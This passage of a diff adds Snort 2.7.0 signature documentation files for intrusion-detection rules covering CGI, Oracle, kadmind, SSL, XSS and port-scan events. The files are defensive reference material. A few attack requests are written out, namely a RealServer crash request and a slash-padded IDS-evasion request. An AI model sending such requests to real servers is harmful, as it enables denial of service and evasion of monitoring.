+None Known.
+
+--
+Corrective Action:
+Apply the patch discussed in the referenced Microsoft Bulletin.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS237
+
+Bugtraq
+http://www.securityfocus.com/bid/1084
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0302
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-006.asp
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1500.txt
+++ snort-2.7.0/doc/signatures/1500.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1500
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/805.txt
+++ snort-2.7.0/doc/signatures/805.txt
@@ -0,0 +1,80 @@
+Rule:
+
+--
+Sid:
+805
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in the WebSpeed WSIS Messenger 
+Administration Utility. 
+
+--
+Impact:
+Information gathering and system integrity. Unauthorized administrative 
+access to the to the WebSpeed configuration utility can allow an 
+attacker to view and change WebSpeed configuration, and possibly stop 
+WebSpeed services.
+
+--
+Detailed Information:
+The WSIS Messenger Administration Utility is a web-based administration 
+utility provided with the Progress WebSpeed 3.0 development environment 
+and transaction server. It allows WebSpeed administrators to remotely 
+manage the WebSpeed system. The configuration utility has a 
+vulnerability that allows unauthenticated users to configure services 
+when the WSMAdmin function is invoked using wsisa.dll.
+
+--
+Affected Systems:
+Any system running Progress WebSpeed 3.0 WSIS Messenger Administration 
+Utility.
+
+--
+Attack Scenarios:
+An attacker can access the WSIS Messenger Administration Utility, which 
+can then be used to view and change WebSpeed configuration. The attacker
+can potentially stop WebSpeed services. 
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses the web-based administration 
+utility, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the WSIS Messenger Administration Utility.
+
+Install the appropriate patch. Patches can be found at
+http://www.progress.com/patches/patchlst/availpatche.html.
+
+Disallow access to the WSIS Messenger Administration Utilility from 
+sources external to the protected network.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/969
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0127
+
+--
--- snort-2.7.0.orig/doc/signatures/862.txt
+++ snort-2.7.0/doc/signatures/862.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+862
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2820.txt
+++ snort-2.7.0/doc/signatures/2820.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2820
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_columns_from_flavor
+. This procedure is included in
+sys.dbms_repcat_fla_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1895.txt
+++ snort-2.7.0/doc/signatures/1895.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 1895
+
+--
+Summary:
+This event is generated when an attempt is made to exploit 
+vulnerable versions of the Kerberos version 4 administration daemon 
+(kadmind).
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code or gain unauthorized access to the target host along with other hosts in the kerberos realm.
+
+--
+Detailed Information:
+kadmind is used to administer a Kerberos database on the master key distribution center (KDC) of a kerberos realm.
+
+A buffer overflow condition exists in kadmind4 such that when the daemon parses a length value in an administration request the attacker can gain the ability to execute arbitrary code with the privileges of the user running the daemon, usually root.
+
+Authentication is not required to cause the overflow.
+
+Affected Systems:
+	Multiple vendors using kadmind version 4
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-29.html
+http://www.kb.cert.org/vuls/id/875073
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1235
+
+--
--- snort-2.7.0.orig/doc/signatures/277.txt
+++ snort-2.7.0/doc/signatures/277.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+277
+
+--
+Summary:
+This event is generated when a remote attacker transmits a malformed request for a page on a RealNetworks RealServer port, which can indicate a Denial of Service (DoS) attack on the RealServer.
+
+--
+Impact:
+The RealNetworks RealServer service will crash.
+
+--
+Detailed Information:
+RealNetworks RealServer is a server application that serves streaming audio to clients. When an attacker sends a request for a template file in the /viewsource/ directory with an empty variable value, RealServer crashes.   
+
+--
+Affected Systems:
+Systems running RealNetworks RealServer 7.0 with View Source functionality enabled.
+
+--
+Attack Scenarios:
+An attacker sends an HTTP request for /viewsource/template.html? on a RealServer audio server. RealServer crashes, stopping audio transmission.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+If a legitimate remote user attempts to use the View Source function on the RealServer, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of the software or disable the View Source functionality. The vendor has issued an advisory, workarounds, and downloadable patches at http://service.real.com/help/faq/servgviewsrc.html.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+RealNetworks
+http://service.real.com/help/faq/servgviewsrc.html
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2504.txt
+++ snort-2.7.0/doc/signatures/2504.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2504
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1524.txt
+++ snort-2.7.0/doc/signatures/1524.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1524
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/121-1.txt
+++ snort-2.7.0/doc/signatures/121-1.txt
@@ -0,0 +1,98 @@
+
+
+Rule:
+
+--
+Sid:
+121-1
+
+--
+Summary:
+This event is generated when the pre-processor flow-portscan detects
+network traffic that may constitute an attack. Specifically a fixed
+scale scanner limit exceeded event was generated.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the flow-portscan pre-processor detects
+network traffic that may consititute an attack.
+
+The flow-portscan pre-processor uses a flow based technique to identify
+portscanning in one-to-many and many-to-one scenarios based on flow
+creation in the flow pre-processor.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.flow-portscan in the docs directory
+of the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+detailed instructions and examples on how to tune and use the
+pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Chris Green <cmg@snort.org>
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/119-8.txt
+++ snort-2.7.0/doc/signatures/119-8.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 
+119-8
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the pre-processor http_inspect detects web
+requests that incorporate multiple concurrent "/" characters.
+
+This may be an attempt to obfuscate an attack and may also indicate an
+attempt to evade an IDS.
+
+--
+Affected Systems:
+	All web servers.
+
+--
+Attack Scenarios: 
+An attacker can add multiple "/" characters to a request like this.
+
+GET http://www.victim.com////////////////vulnerable/application.dll
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.7.0.orig/doc/signatures/100000632.txt
+++ snort-2.7.0/doc/signatures/100000632.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000632
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "summary.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "summary.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000652.txt
+++ snort-2.7.0/doc/signatures/100000652.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000652
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "id" parameter in the "index.php" script used 
+by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1134.txt
+++ snort-2.7.0/doc/signatures/1134.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1134
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1019.txt
+++ snort-2.7.0/doc/signatures/1019.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1019
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3453.txt
+++ snort-2.7.0/doc/signatures/3453.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+3453
+
+--
+Summary:
+This event is generated when an attempt is made to probe for
+information on a host running Arkeia Client Backup server.
+
+--
+Impact:
+This may be reconnaissance to find version or operating
+system information about the Arkeia Client Backup server
+to later run an appropriate exploit.
+
+--
+Detailed Information:
+By default, Arkeia Client Backup servers do not require any
+authentication for informational requests.  An attacker who
+may be planning to exploit a vulnerable version of the software
+may attempt to request file or system information.
+
+--
+Affected Systems:
+	Arkeia version 5.3 and prior.
+
+--
+Attack Scenarios:
+An attacker can attempt to query an Arkeia Client Backup
+server for system or file information.
+
+--
+Ease of Attack:
+Simple.  Exploits are publicly available.
+
+--
+False Positives:
+None known. If you run Arkeia Client Backup on your network,
+make sure that your the variable $EXTERNAL_NET is configured
+to reflect IP addresses outside of your network.  Otherwise,
+this rule will alert on valid internal traffic.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Metasploit:
+http://metasploit.com/research/arkeia_agent
+
+--
--- snort-2.7.0.orig/doc/signatures/100000758.txt
+++ snort-2.7.0/doc/signatures/100000758.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000758
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "QTO File Manager" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "pathext" parameter in the "qtofm.php" script used by the "QTO File Manager" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using QTO File Manager
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000527.txt
+++ snort-2.7.0/doc/signatures/100000527.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000527
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "AssoCIateD" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "menu" parameter in the "index.php" script used 
+by the "AssoCIateD" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using AssoCIateD
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/885.txt
+++ snort-2.7.0/doc/signatures/885.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+885
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1875.txt
+++ snort-2.7.0/doc/signatures/1875.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1875
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1646.txt
+++ snort-2.7.0/doc/signatures/1646.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1646
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
